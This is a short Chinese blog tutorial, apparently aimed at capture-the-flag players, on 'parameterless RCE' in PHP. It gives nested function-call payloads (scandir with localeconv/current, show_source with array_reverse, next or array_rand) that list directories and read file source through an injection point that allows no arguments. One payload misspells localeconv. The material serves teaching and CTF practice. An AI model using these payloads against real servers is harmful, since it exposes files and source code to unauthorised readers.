无参数RCE

无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果

1.获取根目录下文件

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));  //查看
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd())))); //读取
有一定几率失败

2.获取当前目录下文件

正常的,print_r(scandir('.'));可以用来查看当前目录所有文件名

但是要怎么构造参数里这个点呢,这里介绍几个方法:

(1)localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

 

要怎么取到这个点呢,另一个函数:

current()返回数组中的单元,默认取第一个值

因此payload:print_r(scandir(current(localconv())))

或者使用print_r(scandir(pos(localeconv())));poscurrent的别名

 

读取当前目录文件名

(1)如果要读取最后一个文件

我们可以使用show_source(end(scandir(getcwd())));

或者用readfilehighlight_filefile_get_contents 等读文件函数都可以

(2)介绍一个函数:array_reverse() 以相反的元素顺序返回数组

show_source(current(array_reverse(scandir(getcwd()))));
这样返回的也是第一个文件

(3)如果是倒数第二个 我们可以用

show_source(next(array_reverse(scandir(getcwd()))));
(4)如果不是数组的最后一个或者倒数第二个呢?

我们可以使用array_rand(array_flip())array_flip()是交换数组的键和值,array_rand()是随机返回一个数组

所以我们可以用:

show_source(array_rand(array_flip(scandir(getcwd()))));
多刷新几次 就可以得到flag的位置

 

 

 

 

 

 

 

posted @   Heck1ng  阅读(242)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示